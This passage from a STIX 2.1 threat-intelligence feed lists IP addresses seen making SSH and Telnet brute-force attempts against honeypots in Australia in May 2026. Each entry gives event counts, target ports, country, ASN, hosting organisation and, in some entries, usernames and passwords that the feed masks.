      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '63.250.52.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--38d57c7d-6efc-4168-a220-a71564b74447",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.226.127.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 306. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 3***********4, 3**********4, 2**9, A*******3, a******3.",
      "id": "indicator--85151bcd-f110-465a-a5d5-06109973d51a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.6.221.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): c****e. Passwords observed (masked): c****e.",
      "id": "indicator--6cd94cae-5408-48d2-8f98-184fa69c70d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.243.239.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 3352. Organisation(s): Telefonica De Espana S.a.u..",
      "id": "indicator--9b9a8f81-b3b7-4f5c-90f9-ab29f975fd4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.47.100.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--00472424-0caf-4e31-a89b-8d60fe90e65b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--2dda8d55-5f42-498f-a54c-4317718137d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--46b4813b-9117-445f-bfe6-69a7d8651ca6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb.",
      "id": "indicator--0ed54442-dfdf-4ddf-bda5-e5ed59931d54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.45.34.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T21:15:11.000Z",
      "valid_until": "2026-06-20T21:15:09.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--cb7f0370-516c-49af-a006-7b5d355c9694",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.252.242.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9b1c02c2-df9a-4d18-92ac-997f5130800f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.102.238.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--3495dfe8-d122-4eec-916e-41c3c5025328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.157.244.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--eeec5acb-dc2d-4962-9a0e-118fe3853467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.96.202.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263790. Organisation(s): RED POWER INTERNET SRL.",
      "id": "indicator--368b3d9c-da57-4dae-b46a-ff6f5ed2e2af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.121.105.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): 3**********4, r**t. Passwords observed (masked): 3**********4, t****o.",
      "id": "indicator--a0554788-afbe-4b88-b727-741c2a1aff40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.86.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CR. ASN(s): 52263. Organisation(s): Telecable Economico S.A..",
      "id": "indicator--e6b7dc05-209f-44ea-babc-3c03b746dcd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.246.157.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t. Passwords observed (masked): d******6.",
      "id": "indicator--4cdfd787-7733-4a40-84ea-3cd78ab57565",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.244.141.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--0d0c1435-1b2c-450b-b9a4-d8a299701dc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.105.120.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--2e99dd9f-a633-40a0-9c55-b0448db8c938",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.26.137.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--f4c6b58b-a6b8-48d5-a3dd-4cbc42a8756a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.34.252.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--712f8161-7d49-4f08-bc59-d7065387f815",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.149.99.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 2******4, 3***********4, 3**********4, a*****u, a*******@.",
      "id": "indicator--34e8126b-3ded-4647-a97a-21d574b077e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.242.234.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): 1*******d, 3***********4, 3**********4, c****e, v*****r.",
      "id": "indicator--703592f2-fc42-4822-b54d-f28c79dbc318",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '191.101.59.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270458. Organisation(s): FIBRA MAIS.",
      "id": "indicator--aca77082-b312-442a-99c9-5ba07b1ce0d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.6.91.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--1181d006-2b00-4a98-9fb3-640cd961145e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******d, P******d, ***.",
      "id": "indicator--853d6a44-1df4-41f2-8ad8-4d3cd0fb3131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.180.229.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): c****e. Passwords observed (masked): C*********!.",
      "id": "indicator--69b37871-22f4-496e-9e3c-55bcdf4518f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.134.94.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******4, 3***********4, 3**********4, b********a, f****y.",
      "id": "indicator--d021492a-c491-42e6-b8b5-72d85734b64e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.162.92.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******4, a*****t, b********a.",
      "id": "indicator--9d656199-7d8a-4c21-b370-6c507def048a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.173.66.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******4, 3***********4, 3**********4, H********!, p*****a.",
      "id": "indicator--af74a1d3-ad4c-4c35-bb46-1bcd3d528063",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.237.80.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 6810. Organisation(s): Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD..",
      "id": "indicator--36f54727-7211-449f-9943-f2eee9a19aa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.181.173.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--8d541bff-f3c1-4a5f-8cbe-9874ce3b7012",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--04a51a95-7d5c-4f30-8bc5-7ac0b64c21f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--14fa0c6f-c5ba-4065-9828-16eb3d750103",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--d957bf72-50c3-4ac5-aa6c-939640ca3831",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--71ac64af-5df0-4014-a3ea-30c259242908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:15:10.000Z",
      "valid_until": "2026-06-20T22:15:08.000Z"
    },
    {
      "created": "2026-05-19T22:15:10.000Z",
